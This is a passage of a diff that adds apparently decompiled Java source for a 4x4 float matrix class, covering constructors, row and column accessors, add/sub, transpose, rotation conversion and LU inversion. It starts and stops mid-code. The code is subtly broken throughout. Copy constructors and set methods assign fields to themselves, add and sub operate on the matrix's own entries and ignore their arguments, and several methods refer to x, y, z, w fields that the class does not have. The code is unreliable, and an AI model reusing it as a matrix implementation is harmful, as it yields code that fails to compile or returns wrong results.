+    m30 = v[12];
+    m31 = v[13];
+    m32 = v[14];
+    m33 = v[15];
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public Matrix4f(Quat4f q1, Vector3f t1, float s)
+  {
+    m00 = ((float)(s * (1.0D - 2.0D * y * y - 2.0D * z * z)));
+    m10 = ((float)(s * (2.0D * (x * y + w * z))));
+    m20 = ((float)(s * (2.0D * (x * z - w * y))));
+    
+    m01 = ((float)(s * (2.0D * (x * y - w * z))));
+    m11 = ((float)(s * (1.0D - 2.0D * x * x - 2.0D * z * z)));
+    m21 = ((float)(s * (2.0D * (y * z + w * x))));
+    
+    m02 = ((float)(s * (2.0D * (x * z + w * y))));
+    m12 = ((float)(s * (2.0D * (y * z - w * x))));
+    m22 = ((float)(s * (1.0D - 2.0D * x * x - 2.0D * y * y)));
+    
+    m03 = x;
+    m13 = y;
+    m23 = z;
+    
+    m30 = 0.0F;
+    m31 = 0.0F;
+    m32 = 0.0F;
+    m33 = 1.0F;
+  }
+  
+
+
+
+
+
+
+  public Matrix4f(Matrix4d m1)
+  {
+    m00 = ((float)m00);
+    m01 = ((float)m01);
+    m02 = ((float)m02);
+    m03 = ((float)m03);
+    
+    m10 = ((float)m10);
+    m11 = ((float)m11);
+    m12 = ((float)m12);
+    m13 = ((float)m13);
+    
+    m20 = ((float)m20);
+    m21 = ((float)m21);
+    m22 = ((float)m22);
+    m23 = ((float)m23);
+    
+    m30 = ((float)m30);
+    m31 = ((float)m31);
+    m32 = ((float)m32);
+    m33 = ((float)m33);
+  }
+  
+
+
+
+
+
+
+
+  public Matrix4f(Matrix4f m1)
+  {
+    m00 = m00;
+    m01 = m01;
+    m02 = m02;
+    m03 = m03;
+    
+    m10 = m10;
+    m11 = m11;
+    m12 = m12;
+    m13 = m13;
+    
+    m20 = m20;
+    m21 = m21;
+    m22 = m22;
+    m23 = m23;
+    
+    m30 = m30;
+    m31 = m31;
+    m32 = m32;
+    m33 = m33;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public Matrix4f(Matrix3f m1, Vector3f t1, float s)
+  {
+    m00 = (m00 * s);
+    m01 = (m01 * s);
+    m02 = (m02 * s);
+    m03 = x;
+    
+    m10 = (m10 * s);
+    m11 = (m11 * s);
+    m12 = (m12 * s);
+    m13 = y;
+    
+    m20 = (m20 * s);
+    m21 = (m21 * s);
+    m22 = (m22 * s);
+    m23 = z;
+    
+    m30 = 0.0F;
+    m31 = 0.0F;
+    m32 = 0.0F;
+    m33 = 1.0F;
+  }
+  
+
+
+
+
+
+  public Matrix4f()
+  {
+    m00 = 0.0F;
+    m01 = 0.0F;
+    m02 = 0.0F;
+    m03 = 0.0F;
+    
+    m10 = 0.0F;
+    m11 = 0.0F;
+    m12 = 0.0F;
+    m13 = 0.0F;
+    
+    m20 = 0.0F;
+    m21 = 0.0F;
+    m22 = 0.0F;
+    m23 = 0.0F;
+    
+    m30 = 0.0F;
+    m31 = 0.0F;
+    m32 = 0.0F;
+    m33 = 0.0F;
+  }
+  
+
+
+
+
+  public String toString()
+  {
+    return m00 + ", " + m01 + ", " + m02 + ", " + m03 + "\n" + m10 + ", " + m11 + ", " + m12 + ", " + m13 + "\n" + m20 + ", " + m21 + ", " + m22 + ", " + m23 + "\n" + m30 + ", " + m31 + ", " + m32 + ", " + m33 + "\n";
+  }
+  
+
+
+
+
+
+
+
+  public final void setIdentity()
+  {
+    m00 = 1.0F;
+    m01 = 0.0F;
+    m02 = 0.0F;
+    m03 = 0.0F;
+    
+    m10 = 0.0F;
+    m11 = 1.0F;
+    m12 = 0.0F;
+    m13 = 0.0F;
+    
+    m20 = 0.0F;
+    m21 = 0.0F;
+    m22 = 1.0F;
+    m23 = 0.0F;
+    
+    m30 = 0.0F;
+    m31 = 0.0F;
+    m32 = 0.0F;
+    m33 = 1.0F;
+  }
+  
+
+
+
+
+
+
+  public final void setElement(int row, int column, float value)
+  {
+    switch (row)
+    {
+    case 0: 
+      switch (column)
+      {
+      case 0: 
+        m00 = value;
+        break;
+      case 1: 
+        m01 = value;
+        break;
+      case 2: 
+        m02 = value;
+        break;
+      case 3: 
+        m03 = value;
+        break;
+      default: 
+        throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4f0"));
+      }
+      
+      break;
+    case 1: 
+      switch (column)
+      {
+      case 0: 
+        m10 = value;
+        break;
+      case 1: 
+        m11 = value;
+        break;
+      case 2: 
+        m12 = value;
+        break;
+      case 3: 
+        m13 = value;
+        break;
+      default: 
+        throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4f0"));
+      }
+      
+      break;
+    case 2: 
+      switch (column)
+      {
+      case 0: 
+        m20 = value;
+        break;
+      case 1: 
+        m21 = value;
+        break;
+      case 2: 
+        m22 = value;
+        break;
+      case 3: 
+        m23 = value;
+        break;
+      default: 
+        throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4f0"));
+      }
+      
+      break;
+    case 3: 
+      switch (column)
+      {
+      case 0: 
+        m30 = value;
+        break;
+      case 1: 
+        m31 = value;
+        break;
+      case 2: 
+        m32 = value;
+        break;
+      case 3: 
+        m33 = value;
+        break;
+      default: 
+        throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4f0"));
+      }
+      
+      break;
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4f0"));
+    }
+    
+  }
+  
+
+
+
+
+
+  public final float getElement(int row, int column)
+  {
+    switch (row)
+    {
+    case 0: 
+      switch (column)
+      {
+      case 0: 
+        return m00;
+      case 1: 
+        return m01;
+      case 2: 
+        return m02;
+      case 3: 
+        return m03;
+      }
+      break;
+    
+
+    case 1: 
+      switch (column)
+      {
+      case 0: 
+        return m10;
+      case 1: 
+        return m11;
+      case 2: 
+        return m12;
+      case 3: 
+        return m13;
+      }
+      break;
+    
+
+
+    case 2: 
+      switch (column)
+      {
+      case 0: 
+        return m20;
+      case 1: 
+        return m21;
+      case 2: 
+        return m22;
+      case 3: 
+        return m23;
+      }
+      break;
+    
+
+
+    case 3: 
+      switch (column)
+      {
+      case 0: 
+        return m30;
+      case 1: 
+        return m31;
+      case 2: 
+        return m32;
+      case 3: 
+        return m33;
+      }
+      break;
+    }
+    
+    
+
+
+
+    throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4f1"));
+  }
+  
+
+
+
+
+  public final void getRow(int row, Vector4f v)
+  {
+    if (row == 0) {
+      x = m00;
+      y = m01;
+      z = m02;
+      w = m03;
+    } else if (row == 1) {
+      x = m10;
+      y = m11;
+      z = m12;
+      w = m13;
+    } else if (row == 2) {
+      x = m20;
+      y = m21;
+      z = m22;
+      w = m23;
+    } else if (row == 3) {
+      x = m30;
+      y = m31;
+      z = m32;
+      w = m33;
+    } else {
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4f2"));
+    }
+  }
+  
+
+
+
+
+
+  public final void getRow(int row, float[] v)
+  {
+    if (row == 0) {
+      v[0] = m00;
+      v[1] = m01;
+      v[2] = m02;
+      v[3] = m03;
+    } else if (row == 1) {
+      v[0] = m10;
+      v[1] = m11;
+      v[2] = m12;
+      v[3] = m13;
+    } else if (row == 2) {
+      v[0] = m20;
+      v[1] = m21;
+      v[2] = m22;
+      v[3] = m23;
+    } else if (row == 3) {
+      v[0] = m30;
+      v[1] = m31;
+      v[2] = m32;
+      v[3] = m33;
+    } else {
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4f2"));
+    }
+  }
+  
+
+
+
+
+
+
+  public final void getColumn(int column, Vector4f v)
+  {
+    if (column == 0) {
+      x = m00;
+      y = m10;
+      z = m20;
+      w = m30;
+    } else if (column == 1) {
+      x = m01;
+      y = m11;
+      z = m21;
+      w = m31;
+    } else if (column == 2) {
+      x = m02;
+      y = m12;
+      z = m22;
+      w = m32;
+    } else if (column == 3) {
+      x = m03;
+      y = m13;
+      z = m23;
+      w = m33;
+    } else {
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4f4"));
+    }
+  }
+  
+
+
+
+
+
+
+  public final void getColumn(int column, float[] v)
+  {
+    if (column == 0) {
+      v[0] = m00;
+      v[1] = m10;
+      v[2] = m20;
+      v[3] = m30;
+    } else if (column == 1) {
+      v[0] = m01;
+      v[1] = m11;
+      v[2] = m21;
+      v[3] = m31;
+    } else if (column == 2) {
+      v[0] = m02;
+      v[1] = m12;
+      v[2] = m22;
+      v[3] = m32;
+    } else if (column == 3) {
+      v[0] = m03;
+      v[1] = m13;
+      v[2] = m23;
+      v[3] = m33;
+    } else {
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4f4"));
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public final void setScale(float scale)
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    m00 = ((float)(tmp_rot[0] * scale));
+    m01 = ((float)(tmp_rot[1] * scale));
+    m02 = ((float)(tmp_rot[2] * scale));
+    
+    m10 = ((float)(tmp_rot[3] * scale));
+    m11 = ((float)(tmp_rot[4] * scale));
+    m12 = ((float)(tmp_rot[5] * scale));
+    
+    m20 = ((float)(tmp_rot[6] * scale));
+    m21 = ((float)(tmp_rot[7] * scale));
+    m22 = ((float)(tmp_rot[8] * scale));
+  }
+  
+
+
+
+
+
+
+
+  public final void get(Matrix3d m1)
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    m00 = tmp_rot[0];
+    m01 = tmp_rot[1];
+    m02 = tmp_rot[2];
+    
+    m10 = tmp_rot[3];
+    m11 = tmp_rot[4];
+    m12 = tmp_rot[5];
+    
+    m20 = tmp_rot[6];
+    m21 = tmp_rot[7];
+    m22 = tmp_rot[8];
+  }
+  
+
+
+
+
+
+
+
+  public final void get(Matrix3f m1)
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    m00 = ((float)tmp_rot[0]);
+    m01 = ((float)tmp_rot[1]);
+    m02 = ((float)tmp_rot[2]);
+    
+    m10 = ((float)tmp_rot[3]);
+    m11 = ((float)tmp_rot[4]);
+    m12 = ((float)tmp_rot[5]);
+    
+    m20 = ((float)tmp_rot[6]);
+    m21 = ((float)tmp_rot[7]);
+    m22 = ((float)tmp_rot[8]);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final float get(Matrix3f m1, Vector3f t1)
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    m00 = ((float)tmp_rot[0]);
+    m01 = ((float)tmp_rot[1]);
+    m02 = ((float)tmp_rot[2]);
+    
+    m10 = ((float)tmp_rot[3]);
+    m11 = ((float)tmp_rot[4]);
+    m12 = ((float)tmp_rot[5]);
+    
+    m20 = ((float)tmp_rot[6]);
+    m21 = ((float)tmp_rot[7]);
+    m22 = ((float)tmp_rot[8]);
+    
+    x = m03;
+    y = m13;
+    z = m23;
+    
+    return (float)Matrix3d.max3(tmp_scale);
+  }
+  
+
+
+
+
+
+
+
+  public final void get(Quat4f q1)
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+
+
+    double ww = 0.25D * (1.0D + tmp_rot[0] + tmp_rot[4] + tmp_rot[8]);
+    if ((ww < 0.0D ? -ww : ww) >= 1.0E-30D) {
+      w = ((float)Math.sqrt(ww));
+      ww = 0.25D / w;
+      x = ((float)((tmp_rot[7] - tmp_rot[5]) * ww));
+      y = ((float)((tmp_rot[2] - tmp_rot[6]) * ww));
+      z = ((float)((tmp_rot[3] - tmp_rot[1]) * ww));
+      return;
+    }
+    
+    w = 0.0F;
+    ww = -0.5D * (tmp_rot[4] + tmp_rot[8]);
+    if ((ww < 0.0D ? -ww : ww) >= 1.0E-30D) {
+      x = ((float)Math.sqrt(ww));
+      ww = 0.5D / x;
+      y = ((float)(tmp_rot[3] * ww));
+      z = ((float)(tmp_rot[6] * ww));
+      return;
+    }
+    
+    x = 0.0F;
+    ww = 0.5D * (1.0D - tmp_rot[8]);
+    if ((ww < 0.0D ? -ww : ww) >= 1.0E-30D) {
+      y = ((float)Math.sqrt(ww));
+      z = ((float)(tmp_rot[7] / (2.0D * y)));
+      return;
+    }
+    
+    y = 0.0F;
+    z = 1.0F;
+  }
+  
+
+
+
+
+
+
+  public final void get(Vector3f trans)
+  {
+    x = m03;
+    y = m13;
+    z = m23;
+  }
+  
+
+
+
+
+
+  public final void getRotationScale(Matrix3f m1)
+  {
+    m00 = m00;m01 = m01;m02 = m02;
+    m10 = m10;m11 = m11;m12 = m12;
+    m20 = m20;m21 = m21;m22 = m22;
+  }
+  
+
+
+
+
+
+
+
+  public final float getScale()
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    return (float)Matrix3d.max3(tmp_scale);
+  }
+  
+
+
+
+
+
+
+
+  public final void setRotationScale(Matrix3f m1)
+  {
+    m00 = m00;m01 = m01;m02 = m02;
+    m10 = m10;m11 = m11;m12 = m12;
+    m20 = m20;m21 = m21;m22 = m22;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void setRow(int row, float x, float y, float z, float w)
+  {
+    switch (row) {
+    case 0: 
+      m00 = x;
+      m01 = y;
+      m02 = z;
+      m03 = w;
+      break;
+    
+    case 1: 
+      m10 = x;
+      m11 = y;
+      m12 = z;
+      m13 = w;
+      break;
+    
+    case 2: 
+      m20 = x;
+      m21 = y;
+      m22 = z;
+      m23 = w;
+      break;
+    
+    case 3: 
+      m30 = x;
+      m31 = y;
+      m32 = z;
+      m33 = w;
+      break;
+    
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4f6"));
+    }
+    
+  }
+  
+
+
+
+
+  public final void setRow(int row, Vector4f v)
+  {
+    switch (row) {
+    case 0: 
+      m00 = x;
+      m01 = y;
+      m02 = z;
+      m03 = w;
+      break;
+    
+    case 1: 
+      m10 = x;
+      m11 = y;
+      m12 = z;
+      m13 = w;
+      break;
+    
+    case 2: 
+      m20 = x;
+      m21 = y;
+      m22 = z;
+      m23 = w;
+      break;
+    
+    case 3: 
+      m30 = x;
+      m31 = y;
+      m32 = z;
+      m33 = w;
+      break;
+    
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4f6"));
+    }
+    
+  }
+  
+
+
+
+
+
+  public final void setRow(int row, float[] v)
+  {
+    switch (row) {
+    case 0: 
+      m00 = v[0];
+      m01 = v[1];
+      m02 = v[2];
+      m03 = v[3];
+      break;
+    
+    case 1: 
+      m10 = v[0];
+      m11 = v[1];
+      m12 = v[2];
+      m13 = v[3];
+      break;
+    
+    case 2: 
+      m20 = v[0];
+      m21 = v[1];
+      m22 = v[2];
+      m23 = v[3];
+      break;
+    
+    case 3: 
+      m30 = v[0];
+      m31 = v[1];
+      m32 = v[2];
+      m33 = v[3];
+      break;
+    
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4f6"));
+    }
+    
+  }
+  
+
+
+
+
+
+
+
+  public final void setColumn(int column, float x, float y, float z, float w)
+  {
+    switch (column) {
+    case 0: 
+      m00 = x;
+      m10 = y;
+      m20 = z;
+      m30 = w;
+      break;
+    
+    case 1: 
+      m01 = x;
+      m11 = y;
+      m21 = z;
+      m31 = w;
+      break;
+    
+    case 2: 
+      m02 = x;
+      m12 = y;
+      m22 = z;
+      m32 = w;
+      break;
+    
+    case 3: 
+      m03 = x;
+      m13 = y;
+      m23 = z;
+      m33 = w;
+      break;
+    
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4f9"));
+    }
+    
+  }
+  
+
+
+
+
+  public final void setColumn(int column, Vector4f v)
+  {
+    switch (column) {
+    case 0: 
+      m00 = x;
+      m10 = y;
+      m20 = z;
+      m30 = w;
+      break;
+    
+    case 1: 
+      m01 = x;
+      m11 = y;
+      m21 = z;
+      m31 = w;
+      break;
+    
+    case 2: 
+      m02 = x;
+      m12 = y;
+      m22 = z;
+      m32 = w;
+      break;
+    
+    case 3: 
+      m03 = x;
+      m13 = y;
+      m23 = z;
+      m33 = w;
+      break;
+    
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4f9"));
+    }
+    
+  }
+  
+
+
+
+
+  public final void setColumn(int column, float[] v)
+  {
+    switch (column) {
+    case 0: 
+      m00 = v[0];
+      m10 = v[1];
+      m20 = v[2];
+      m30 = v[3];
+      break;
+    
+    case 1: 
+      m01 = v[0];
+      m11 = v[1];
+      m21 = v[2];
+      m31 = v[3];
+      break;
+    
+    case 2: 
+      m02 = v[0];
+      m12 = v[1];
+      m22 = v[2];
+      m32 = v[3];
+      break;
+    
+    case 3: 
+      m03 = v[0];
+      m13 = v[1];
+      m23 = v[2];
+      m33 = v[3];
+      break;
+    
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4f9"));
+    }
+    
+  }
+  
+
+
+
+  public final void add(float scalar)
+  {
+    m00 += scalar;
+    m01 += scalar;
+    m02 += scalar;
+    m03 += scalar;
+    m10 += scalar;
+    m11 += scalar;
+    m12 += scalar;
+    m13 += scalar;
+    m20 += scalar;
+    m21 += scalar;
+    m22 += scalar;
+    m23 += scalar;
+    m30 += scalar;
+    m31 += scalar;
+    m32 += scalar;
+    m33 += scalar;
+  }
+  
+
+
+
+
+
+
+  public final void add(float scalar, Matrix4f m1)
+  {
+    m00 += scalar;
+    m01 += scalar;
+    m02 += scalar;
+    m03 += scalar;
+    m10 += scalar;
+    m11 += scalar;
+    m12 += scalar;
+    m13 += scalar;
+    m20 += scalar;
+    m21 += scalar;
+    m22 += scalar;
+    m23 += scalar;
+    m30 += scalar;
+    m31 += scalar;
+    m32 += scalar;
+    m33 += scalar;
+  }
+  
+
+
+
+
+
+  public final void add(Matrix4f m1, Matrix4f m2)
+  {
+    m00 += m00;
+    m01 += m01;
+    m02 += m02;
+    m03 += m03;
+    
+    m10 += m10;
+    m11 += m11;
+    m12 += m12;
+    m13 += m13;
+    
+    m20 += m20;
+    m21 += m21;
+    m22 += m22;
+    m23 += m23;
+    
+    m30 += m30;
+    m31 += m31;
+    m32 += m32;
+    m33 += m33;
+  }
+  
+
+
+
+
+
+  public final void add(Matrix4f m1)
+  {
+    m00 += m00;
+    m01 += m01;
+    m02 += m02;
+    m03 += m03;
+    
+    m10 += m10;
+    m11 += m11;
+    m12 += m12;
+    m13 += m13;
+    
+    m20 += m20;
+    m21 += m21;
+    m22 += m22;
+    m23 += m23;
+    
+    m30 += m30;
+    m31 += m31;
+    m32 += m32;
+    m33 += m33;
+  }
+  
+
+
+
+
+
+
+
+  public final void sub(Matrix4f m1, Matrix4f m2)
+  {
+    m00 -= m00;
+    m01 -= m01;
+    m02 -= m02;
+    m03 -= m03;
+    
+    m10 -= m10;
+    m11 -= m11;
+    m12 -= m12;
+    m13 -= m13;
+    
+    m20 -= m20;
+    m21 -= m21;
+    m22 -= m22;
+    m23 -= m23;
+    
+    m30 -= m30;
+    m31 -= m31;
+    m32 -= m32;
+    m33 -= m33;
+  }
+  
+
+
+
+
+
+  public final void sub(Matrix4f m1)
+  {
+    m00 -= m00;
+    m01 -= m01;
+    m02 -= m02;
+    m03 -= m03;
+    
+    m10 -= m10;
+    m11 -= m11;
+    m12 -= m12;
+    m13 -= m13;
+    
+    m20 -= m20;
+    m21 -= m21;
+    m22 -= m22;
+    m23 -= m23;
+    
+    m30 -= m30;
+    m31 -= m31;
+    m32 -= m32;
+    m33 -= m33;
+  }
+  
+
+
+
+
+
+  public final void transpose()
+  {
+    float temp = m10;
+    m10 = m01;
+    m01 = temp;
+    
+    temp = m20;
+    m20 = m02;
+    m02 = temp;
+    
+    temp = m30;
+    m30 = m03;
+    m03 = temp;
+    
+    temp = m21;
+    m21 = m12;
+    m12 = temp;
+    
+    temp = m31;
+    m31 = m13;
+    m13 = temp;
+    
+    temp = m32;
+    m32 = m23;
+    m23 = temp;
+  }
+  
+
+
+
+
+  public final void transpose(Matrix4f m1)
+  {
+    if (this != m1) {
+      m00 = m00;
+      m01 = m10;
+      m02 = m20;
+      m03 = m30;
+      
+      m10 = m01;
+      m11 = m11;
+      m12 = m21;
+      m13 = m31;
+      
+      m20 = m02;
+      m21 = m12;
+      m22 = m22;
+      m23 = m32;
+      
+      m30 = m03;
+      m31 = m13;
+      m32 = m23;
+      m33 = m33;
+    } else {
+      transpose();
+    }
+  }
+  
+
+
+
+
+  public final void set(Quat4f q1)
+  {
+    m00 = (1.0F - 2.0F * y * y - 2.0F * z * z);
+    m10 = (2.0F * (x * y + w * z));
+    m20 = (2.0F * (x * z - w * y));
+    
+    m01 = (2.0F * (x * y - w * z));
+    m11 = (1.0F - 2.0F * x * x - 2.0F * z * z);
+    m21 = (2.0F * (y * z + w * x));
+    
+    m02 = (2.0F * (x * z + w * y));
+    m12 = (2.0F * (y * z - w * x));
+    m22 = (1.0F - 2.0F * x * x - 2.0F * y * y);
+    
+    m03 = 0.0F;
+    m13 = 0.0F;
+    m23 = 0.0F;
+    
+    m30 = 0.0F;
+    m31 = 0.0F;
+    m32 = 0.0F;
+    m33 = 1.0F;
+  }
+  
+
+
+
+
+
+  public final void set(AxisAngle4f a1)
+  {
+    float mag = (float)Math.sqrt(x * x + y * y + z * z);
+    if (mag < 1.0E-8D) {
+      m00 = 1.0F;
+      m01 = 0.0F;
+      m02 = 0.0F;
+      
+      m10 = 0.0F;
+      m11 = 1.0F;
+      m12 = 0.0F;
+      
+      m20 = 0.0F;
+      m21 = 0.0F;
+      m22 = 1.0F;
+    } else {
+      mag = 1.0F / mag;
+      float ax = x * mag;
+      float ay = y * mag;
+      float az = z * mag;
+      
+      float sinTheta = (float)Math.sin(angle);
+      float cosTheta = (float)Math.cos(angle);
+      float t = 1.0F - cosTheta;
+      
+      float xz = ax * az;
+      float xy = ax * ay;
+      float yz = ay * az;
+      
+      m00 = (t * ax * ax + cosTheta);
+      m01 = (t * xy - sinTheta * az);
+      m02 = (t * xz + sinTheta * ay);
+      
+      m10 = (t * xy + sinTheta * az);
+      m11 = (t * ay * ay + cosTheta);
+      m12 = (t * yz - sinTheta * ax);
+      
+      m20 = (t * xz - sinTheta * ay);
+      m21 = (t * yz + sinTheta * ax);
+      m22 = (t * az * az + cosTheta);
+    }
+    m03 = 0.0F;
+    m13 = 0.0F;
+    m23 = 0.0F;
+    
+    m30 = 0.0F;
+    m31 = 0.0F;
+    m32 = 0.0F;
+    m33 = 1.0F;
+  }
+  
+
+
+
+
+
+  public final void set(Quat4d q1)
+  {
+    m00 = ((float)(1.0D - 2.0D * y * y - 2.0D * z * z));
+    m10 = ((float)(2.0D * (x * y + w * z)));
+    m20 = ((float)(2.0D * (x * z - w * y)));
+    
+    m01 = ((float)(2.0D * (x * y - w * z)));
+    m11 = ((float)(1.0D - 2.0D * x * x - 2.0D * z * z));
+    m21 = ((float)(2.0D * (y * z + w * x)));
+    
+    m02 = ((float)(2.0D * (x * z + w * y)));
+    m12 = ((float)(2.0D * (y * z - w * x)));
+    m22 = ((float)(1.0D - 2.0D * x * x - 2.0D * y * y));
+    
+    m03 = 0.0F;
+    m13 = 0.0F;
+    m23 = 0.0F;
+    
+    m30 = 0.0F;
+    m31 = 0.0F;
+    m32 = 0.0F;
+    m33 = 1.0F;
+  }
+  
+
+
+
+
+
+  public final void set(AxisAngle4d a1)
+  {
+    double mag = Math.sqrt(x * x + y * y + z * z);
+    
+    if (mag < 1.0E-8D) {
+      m00 = 1.0F;
+      m01 = 0.0F;
+      m02 = 0.0F;
+      
+      m10 = 0.0F;
+      m11 = 1.0F;
+      m12 = 0.0F;
+      
+      m20 = 0.0F;
+      m21 = 0.0F;
+      m22 = 1.0F;
+    } else {
+      mag = 1.0D / mag;
+      double ax = x * mag;
+      double ay = y * mag;
+      double az = z * mag;
+      
+      float sinTheta = (float)Math.sin(angle);
+      float cosTheta = (float)Math.cos(angle);
+      float t = 1.0F - cosTheta;
+      
+      float xz = (float)(ax * az);
+      float xy = (float)(ax * ay);
+      float yz = (float)(ay * az);
+      
+      m00 = (t * (float)(ax * ax) + cosTheta);
+      m01 = (t * xy - sinTheta * (float)az);
+      m02 = (t * xz + sinTheta * (float)ay);
+      
+      m10 = (t * xy + sinTheta * (float)az);
+      m11 = (t * (float)(ay * ay) + cosTheta);
+      m12 = (t * yz - sinTheta * (float)ax);
+      
+      m20 = (t * xz - sinTheta * (float)ay);
+      m21 = (t * yz + sinTheta * (float)ax);
+      m22 = (t * (float)(az * az) + cosTheta);
+    }
+    m03 = 0.0F;
+    m13 = 0.0F;
+    m23 = 0.0F;
+    
+    m30 = 0.0F;
+    m31 = 0.0F;
+    m32 = 0.0F;
+    m33 = 1.0F;
+  }
+  
+
+
+
+
+
+
+
+  public final void set(Quat4d q1, Vector3d t1, double s)
+  {
+    m00 = ((float)(s * (1.0D - 2.0D * y * y - 2.0D * z * z)));
+    m10 = ((float)(s * (2.0D * (x * y + w * z))));
+    m20 = ((float)(s * (2.0D * (x * z - w * y))));
+    
+    m01 = ((float)(s * (2.0D * (x * y - w * z))));
+    m11 = ((float)(s * (1.0D - 2.0D * x * x - 2.0D * z * z)));
+    m21 = ((float)(s * (2.0D * (y * z + w * x))));
+    
+    m02 = ((float)(s * (2.0D * (x * z + w * y))));
+    m12 = ((float)(s * (2.0D * (y * z - w * x))));
+    m22 = ((float)(s * (1.0D - 2.0D * x * x - 2.0D * y * y)));
+    
+    m03 = ((float)x);
+    m13 = ((float)y);
+    m23 = ((float)z);
+    
+    m30 = 0.0F;
+    m31 = 0.0F;
+    m32 = 0.0F;
+    m33 = 1.0F;
+  }
+  
+
+
+
+
+
+
+
+  public final void set(Quat4f q1, Vector3f t1, float s)
+  {
+    m00 = (s * (1.0F - 2.0F * y * y - 2.0F * z * z));
+    m10 = (s * (2.0F * (x * y + w * z)));
+    m20 = (s * (2.0F * (x * z - w * y)));
+    
+    m01 = (s * (2.0F * (x * y - w * z)));
+    m11 = (s * (1.0F - 2.0F * x * x - 2.0F * z * z));
+    m21 = (s * (2.0F * (y * z + w * x)));
+    
+    m02 = (s * (2.0F * (x * z + w * y)));
+    m12 = (s * (2.0F * (y * z - w * x)));
+    m22 = (s * (1.0F - 2.0F * x * x - 2.0F * y * y));
+    
+    m03 = x;
+    m13 = y;
+    m23 = z;
+    
+    m30 = 0.0F;
+    m31 = 0.0F;
+    m32 = 0.0F;
+    m33 = 1.0F;
+  }
+  
+
+
+
+
+
+  public final void set(Matrix4d m1)
+  {
+    m00 = ((float)m00);
+    m01 = ((float)m01);
+    m02 = ((float)m02);
+    m03 = ((float)m03);
+    
+    m10 = ((float)m10);
+    m11 = ((float)m11);
+    m12 = ((float)m12);
+    m13 = ((float)m13);
+    
+    m20 = ((float)m20);
+    m21 = ((float)m21);
+    m22 = ((float)m22);
+    m23 = ((float)m23);
+    
+    m30 = ((float)m30);
+    m31 = ((float)m31);
+    m32 = ((float)m32);
+    m33 = ((float)m33);
+  }
+  
+
+
+
+
+
+  public final void set(Matrix4f m1)
+  {
+    m00 = m00;
+    m01 = m01;
+    m02 = m02;
+    m03 = m03;
+    
+    m10 = m10;
+    m11 = m11;
+    m12 = m12;
+    m13 = m13;
+    
+    m20 = m20;
+    m21 = m21;
+    m22 = m22;
+    m23 = m23;
+    
+    m30 = m30;
+    m31 = m31;
+    m32 = m32;
+    m33 = m33;
+  }
+  
+
+
+
+
+
+
+  public final void invert(Matrix4f m1)
+  {
+    invertGeneral(m1);
+  }
+  
+
+
+
+  public final void invert()
+  {
+    invertGeneral(this);
+  }
+  
+
+
+
+
+
+
+
+  final void invertGeneral(Matrix4f m1)
+  {
+    double[] temp = new double[16];
+    double[] result = new double[16];
+    int[] row_perm = new int[4];
+    
+
+
+
+
+
+    temp[0] = m00;
+    temp[1] = m01;
+    temp[2] = m02;
+    temp[3] = m03;
+    
+    temp[4] = m10;
+    temp[5] = m11;
+    temp[6] = m12;
+    temp[7] = m13;
+    
+    temp[8] = m20;
+    temp[9] = m21;
+    temp[10] = m22;
+    temp[11] = m23;
+    
+    temp[12] = m30;
+    temp[13] = m31;
+    temp[14] = m32;
+    temp[15] = m33;
+    
+
+    if (!luDecomposition(temp, row_perm))
+    {
+      throw new SingularMatrixException(VecMathI18N.getString("Matrix4f12"));
+    }
+    
+
+    for (int i = 0; i < 16; i++) result[i] = 0.0D;
+    result[0] = 1.0D;result[5] = 1.0D;result[10] = 1.0D;result[15] = 1.0D;
+    luBacksubstitution(temp, row_perm, result);
+    
+    m00 = ((float)result[0]);
+    m01 = ((float)result[1]);
+    m02 = ((float)result[2]);
+    m03 = ((float)result[3]);
+    
+    m10 = ((float)result[4]);
+    m11 = ((float)result[5]);
+    m12 = ((float)result[6]);
+    m13 = ((float)result[7]);
+    
+    m20 = ((float)result[8]);
+    m21 = ((float)result[9]);
+    m22 = ((float)result[10]);
+    m23 = ((float)result[11]);
+    
+    m30 = ((float)result[12]);
+    m31 = ((float)result[13]);
+    m32 = ((float)result[14]);
+    m33 = ((float)result[15]);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static boolean luDecomposition(double[] matrix0, int[] row_perm)
+  {
+    double[] row_scale = new double[4];
+    
+
+
+
+
+
+
+    int ptr = 0;
+    int rs = 0;
+    
+
+    int i = 4;
+    while (i-- != 0) {
